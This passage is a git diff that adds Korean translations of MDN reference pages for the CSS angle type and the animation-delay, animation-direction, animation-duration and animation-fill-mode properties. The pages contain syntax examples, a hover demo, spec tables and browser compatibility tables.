+slug: Web/CSS/angle
+tags:
+  - CSS
+  - CSS Data Type
+  - Data Type
+  - Layout
+  - Reference
+  - Web
+  - 자료형
+translation_of: Web/CSS/angle
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;angle&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 각도의 값을 도, 그레이드, 라디안 또는 회전수로 표현합니다.</span> {{cssxref("&lt;gradient&gt;")}}나 일부 {{cssxref("transform")}} 함수에서 사용합니다..</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-angle.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;angle&gt;</code> 자료형은 {{cssxref("&lt;number&gt;")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위처럼 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 <code>0</code> 뒤에는 단위를 붙이지 않아도 됩니다.</p>
+
+<p>선택적으로 <code>+</code>, <code>-</code> 부호를 표시할 수 있습니다. 양의 부호는 시계방향 회전을, 음의 부호는 시계 반대방향 회전을 나타냅니다. 정적 속성에선 하나의 각도를 다른 각도로 표현할 수 있습니다. 예컨대 <code>90deg</code>는 <code>-270deg</code>, <code>1turn</code>은 <code>4turn</code>과 동일합니다. 그러나 동적 속성, 즉 {{cssxref("animation")}}이나 {{cssxref("transition")}}에서는 결과가 달라집니다.</p>
+
+<h3 id="단위">단위</h3>
+
+<dl>
+ <dt><code><a id="deg" name="deg">deg</a></code></dt>
+ <dd>각도를 <a href="https://ko.wikipedia.org/wiki/%EB%8F%84_(%EA%B0%81%EB%8F%84)">도 단위</a>로 나타냅니다. 1회전은 <code>360deg</code>입니다. 예: <code>0deg</code>, <code>90deg</code>, <code>14.23deg</code></dd>
+ <dt id="grad"><code><a id="grad" name="grad">grad</a></code></dt>
+ <dd>각도를 <a href="https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C">그레이드</a>로 나타냅니다. 1회전은 <code>400grad</code>입니다. 예: <code>0grad</code>, <code>100grad</code>, <code>38.8grad</code></dd>
+ <dt id="rad"><code><a id="rad" name="rad">rad</a></code></dt>
+ <dd>각도를 <a href="https://ko.wikipedia.org/wiki/%EB%9D%BC%EB%94%94%EC%95%88">라디안</a>으로 나타냅니다. 1회전은 2π 라디안으로 약 <code>6.2832rad</code>입니다. <code>1rad</code>는 180/π<code>deg</code>입니다. 예: <code>0rad</code>, <code>1.0708rad</code>, <code>6.2832rad</code></dd>
+ <dt id="turn"><code><a id="turn" name="turn">turn</a></code></dt>
+ <dd>각도를 회전의 수로 나타냅니다. 1회전은 <code>1turn</code>입니다. 예: <code>0turn</code>, <code>0.25turn</code>, <code>1.2turn</code></dd>
+</dl>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="시계_방향_우측_90도">시계 방향 우측 90도</h3>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><img alt="Angle90.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5704/=Angle90.png"></td>
+   <td><code>90deg = 100grad = 0.25turn ≈ 1.5708rad</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="반대로_회전">반대로 회전</h3>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><img alt="Angle180.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5706/=Angle180.png"></td>
+   <td><code>180deg = 200grad = 0.5turn ≈ 3.1416rad</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="시계_반대_방향_우측_90도">시계 반대 방향 우측 90도</h3>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><img alt="AngleMinus90.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5707/=AngleMinus90.png"></td>
+   <td><code>-90deg = -100grad = -0.25turn ≈ -1.5708rad</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="회전_없음">회전 없음</h3>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><img alt="Angle0.png" class="default internal" src="https://wiki.developer.mozilla.org/@api/deki/files/5708/=Angle0.png"></td>
+   <td><code>0 = 0deg = 0grad = 0turn = 0rad</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Values', '#angles', '&lt;angle&gt;') }}</td>
+   <td>{{ Spec2('CSS4 Values') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#angles', '&lt;angle&gt;') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.angle")}}</p>
diff --git a/files/ko/web/css/animation-delay/index.html b/files/ko/web/css/animation-delay/index.html
new file mode 100644
index 0000000000..54f5d965e2
--- /dev/null
+++ b/files/ko/web/css/animation-delay/index.html
@@ -0,0 +1,85 @@
+---
+title: animation-delay
+slug: Web/CSS/animation-delay
+tags:
+  - CSS
+  - CSS Property
+  - CSS animation
+  - Reference
+translation_of: Web/CSS/animation-delay
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>animation-delay</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> 속성은 애니메이션이 시작할 시점을 지정합니다. 시작 즉시, 잠시 후에, 또는 애니메이션이 일부 진행한 시점부터 시작할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-delay.html")}}</div>
+
+
+
+<p>{{cssxref("animation")}} 단축 속성을 사용해 애니메이션 관련 속성을 편리하게 같이 지정할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* Single animation */
+animation-delay: 3s;
+animation-delay: 0s;
+animation-delay: -1500ms;
+
+/* Multiple animations */
+animation-delay: 2.1s, 480ms;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;time&gt;")}}</dt>
+ <dd>애니메이션이 시작될 요소가 적용되는 순간부터의 시간 오프셋입니다. 이 값은 초 또는 밀리 초 (ms)로 지정할 수 있습니다. 이 값은 필수입니다.</dd>
+ <dd>양수 값은 지정된 시간이 경과 한 후 애니메이션이 시작되어야 함을 나타냅니다. 기본값인 0의 값은 애니메이션이 적용되는 즉시 시작해야 함을 나타냅니다.</dd>
+ <dd>
+ <p>음수 값을 지정하면 애니메이션이 즉시 시작되지만 애니메이션 주기의 도중에 시작됩니다. 예를 들어 애니메이션 지연 시간으로 -1s를 지정하면 애니메이션이 즉시 시작되지만 애니메이션 시퀀스의 1초부터 시작됩니다. 만약 animation-delay에 음수 값을 지정했지만 시작값이 절대값이면 시작값은 애니메이션이 요소에 적용된 시점부터 가져옵니다.</p>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: <code>animation- *</code> 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/animation-name" title="The documentation about this has not yet been written; please consider contributing!"><code>animation-name</code></a> 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">여러 애니메이션 속성 값 설정</a>을 참조하십시오.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a>를 보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.animation-delay")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation-direction/index.html b/files/ko/web/css/animation-direction/index.html
new file mode 100644
index 0000000000..7c5c8b56db
--- /dev/null
+++ b/files/ko/web/css/animation-direction/index.html
@@ -0,0 +1,191 @@
+---
+title: animation-direction
+slug: Web/CSS/animation-direction
+tags:
+  - CSS 속성
+  - CSS 애니메이션
+translation_of: Web/CSS/animation-direction
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p><strong><code>animation-direction</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 애니메이션이 앞으로, 뒤로 또는 앞뒤로 번갈아 재생되어야하는지 여부를 지정합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Single animation */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Multiple animations */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Global values */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+</pre>
+
+<p>축약 속성 {{cssxref ( "animation")}}을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<h3 id="값(Values)">값(Values)</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd> 애니메이션은 매 사이클마다 정방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 시작 상태로 재설정되고 다시 시작됩니다. 이것은 기본값입니다.</dd>
+ <dt><code>reverse</code></dt>
+ <dd>애니메이션은 매 사이클마다 역방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 종료 상태로 재설정되고 다시 시작됩니다. 애니메이션 단계가 거꾸로 수행되고 타이밍 기능 또한 반대로됩니다. 예를 들어, ease-in 타이밍 기능은  ease-out형태로 변경됩니다.</dd>
+ <dt><code>alternate</code></dt>
+ <dd>애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 정방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.</dd>
+ <dt><code>alternate-reverse</code></dt>
+ <dd>애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 역방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>노트</strong>: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">여러 애니메이션 속성 값 설정</a>을 참조하십시오.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제(Examples)">예제(Examples)</h2>
+
+<p><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS animations</a>를 보십시오.</p>
+
+<h2 id="명세(Specifications)">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성(Browser compatibility)</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.50</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>reverse</code></td>
+   <td>19</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>alternate-reverse</code></td>
+   <td>19</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>reverse</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>alternate-reverse</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두사가 붙은 속성 버전에 대한 지원을 추가했으며, 기본값은 false입니다. Gecko 49.0 {{geckoRelease("49.0")}} 이후 기본 설정은 true로 기본 설정됩니다.</p>
+
+<h2 id="같이_보기(See_also)">같이 보기(See also)</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation-duration/index.html b/files/ko/web/css/animation-duration/index.html
new file mode 100644
index 0000000000..83e46427df
--- /dev/null
+++ b/files/ko/web/css/animation-duration/index.html
@@ -0,0 +1,140 @@
+---
+title: animation-duration
+slug: Web/CSS/animation-duration
+tags:
+  - CSS 애니메이션
+translation_of: Web/CSS/animation-duration
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p><strong><code>animation-duration</code></strong> <a href="/en-US/docs/CSS" title="CSS">CSS</a> 속성은 애니메이션이 한 사이클을 완료하는 데 걸리는 시간을 지정합니다.</p>
+
+<pre class="brush:css no-line-numbers">/* Single animation */
+animation-duration: 6s;
+animation-duration: 120ms;
+
+/* Multiple animations */
+animation-duration: 1.64s, 15.22s;
+animation-duration: 10s, 35s, 230ms;
+</pre>
+
+<p>축약 속성 {{ cssxref("animation") }}를 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>{{cssxref("&lt;time&gt;")}}</code></dt>
+ <dd>애니메이션이 한 사이클을 완료하는 데 걸리는 지속 시간입니다. 이것은 초(s) 또는 밀리 초 (ms)로 지정 될 수 있습니다. 값은 양수 또는 0이어야하며 단위는 필수입니다. 기본값인 0의 값은 애니메이션이 작동하지 않아야 함을 나타냅니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> 음수 값은 유효하지 않으므로 선언이 무시됩니다. 접두사가 붙은 구현은 그것들을 0과 동일하게 간주 할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 {{cssxref ( "animation-name")}} 속성에 지정된 애니메이션에 얼마나 많은 값이 있는지에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">Setting multiple animation property values</a>를 참조하십시오.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제(Examples)">예제(Examples)</h2>
+
+<p><a href="/en/CSS/CSS_animations">CSS 애니메이션 예제</a>를 참조하십시오. </p>
+
+<h2 id="Specifications" name="Specifications">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성(Browser compatibility)</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{ CompatGeckoMobile("16.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.2{{property_prefix("-webkit")}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko 44.0 {{geckoRelease("44.0")}}은 layout.css.prefixes.webkit 환경 설정 뒤에 웹 호환성 이유로 인해 -webkit- 접두어로 사용 된 속성 버전에 대한 지원을 추가하고 기본을 false로 설정합니다. Gecko 49.0 {{geckoRelease("49.0")}}이후 기본 설정은 true로 기본 설정됩니다.</p>
+
+<h2 id="같이_보기(See_also)">같이 보기(See also)</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Using CSS animations</a></li>
+ <li>JavaScript {{domxref("AnimationEvent")}} API</li>
+</ul>
diff --git a/files/ko/web/css/animation-fill-mode/index.html b/files/ko/web/css/animation-fill-mode/index.html
new file mode 100644
index 0000000000..f1920b92d2
--- /dev/null
+++ b/files/ko/web/css/animation-fill-mode/index.html
@@ -0,0 +1,241 @@
+---
+title: animation-fill-mode
+slug: Web/CSS/animation-fill-mode
+tags:
+  - CSS 속성
+  - CSS 애니메이션
+translation_of: Web/CSS/animation-fill-mode
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>animation-fill-mode</code></strong> <a href="/en/CSS" title="CSS">CSS</a> 속성은 CSS 애니메이션이 실행 전과 후에 대상에 스타일을 적용하는 방법을 지정합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Single animation */
+animation-fill-mode: none;
+animation-fill-mode: forwards;
+animation-fill-mode: backwards;
+animation-fill-mode: both;
+
+/* Multiple animations */
+animation-fill-mode: none, backwards;
+animation-fill-mode: both, forwards, none;
+</pre>
+
+<p>축약 속성 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/animation" title="CSS의 animation 속성은 animation-name, animation-duration, animation-timing-function, animation-delay, animation-iteration-count, animation-direction 값들을 지정가능한 축약된 속성(shorthand property)이다."><code>animation</code></a>을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="문법(Syntax)">문법(Syntax)</h2>
+
+<h3 id="값(Values)">값(Values)</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>애니메이션은 실행되지 않을 때 대상에 스타일을 적용하지 않습니다. 요소는 대신 적용된 다른 CSS 규칙을 사용하여 표시됩니다. 이것은 기본값입니다.</dd>
+ <dt><code>forwards</code></dt>
+ <dd>대상은 실행 된 애니메이션의 마지막 <a href="https://developer.mozilla.org/en-US/docs/CSS/@keyframes">keyframe</a>에 의해 설정된 계산 된 값을 유지합니다. 마지막 키 프레임은 {{cssxref("animation-direction")}}및 {{cssxref("animation-iteration-count")}}의 값에 따라 다릅니다.
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col"><code>animation-iteration-count</code></th>
+    <th scope="col">last keyframe encountered</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code></td>
+    <td>even or odd</td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code></td>
+    <td>even or odd</td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>even</td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate</code></td>
+    <td>odd</td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>even</td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+   <tr>
+    <td><code>alternate-reverse</code></td>
+    <td>odd</td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>backwards</code></dt>
+ <dd>애니메이션은 대상에 적용되는 즉시 첫 번째 관련 <a href="/en-US/docs/CSS/@keyframes">keyframe</a> 에 정의 된 값을 적용하고  {{cssxref("animation-delay")}} 기간 동안 이 값을 유지합니다. 첫 번째 관련 키프레임은 {{cssxref("animation-direction")}}의 값에 따라 다릅니다.
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col"><code>animation-direction</code></th>
+    <th scope="col">first relevant keyframe</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>normal</code> or <code>alternate</code></td>
+    <td><code>0%</code> or <code>from</code></td>
+   </tr>
+   <tr>
+    <td><code>reverse</code> or <code>alternate-reverse</code></td>
+    <td><code>100%</code> or <code>to</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>both</code></dt>
+ <dd>애니메이션은 앞뒤 양쪽 모두의 규칙을 따르므로 애니메이션 속성이 양방향으로 확장됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>노트</strong></span>: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/animation-name" title="The documentation about this has not yet been written; please consider contributing!"><code>animation-name</code></a> 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations#Setting_multiple_animation_property_values">여러 애니메이션 속성 값 설정</a>을 참조하십시오.</p>
+</div>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Example" name="Example">예제(Examples)</h2>
+
+<p>다음 예제에서 animation-fill-mode의 효과를 볼 수 있습니다. 무한 시간 동안 실행되는 애니메이션의 경우 원래 상태 (기본값)로 되돌리기보다는 최종 상태로 유지하는 방법을 보여줍니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;회색 박스 위에 마우스를 올려보세요!&lt;/p&gt;
+&lt;div class="demo"&gt;
+  &lt;div class="grows"&gt;이 글씨는 커집니다.&lt;/div&gt;
+  &lt;div class="growsandstays"&gt;이 글씨는 커지며, 커진 상태를 유지합니다.&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.demo {
+  border-top: 100px solid #ccc;
+  height: 300px;
+}
+
+@keyframes grow {
+  0% { font-size: 0; }
+  100% { font-size: 40px; }
+}
+
+.demo:hover .grows {
+  animation-name: grow;
+  animation-duration: 3s;
+}
+
+.demo:hover .growsandstays {
+  animation-name: grow;
+  animation-duration: 3s;
+  animation-fill-mode: forwards;
+}</pre>
+
+<p>{{EmbedLiveSample('Example',700,300)}}</p>
+
+<p>자세한 예제는 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS animations</a>를 보십시오.</p>
+
+<h2 id="Specifications" name="Specifications">명세(Specifications)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-fill-mode', 'animation-fill-mode')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성(Browser compatibility)</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
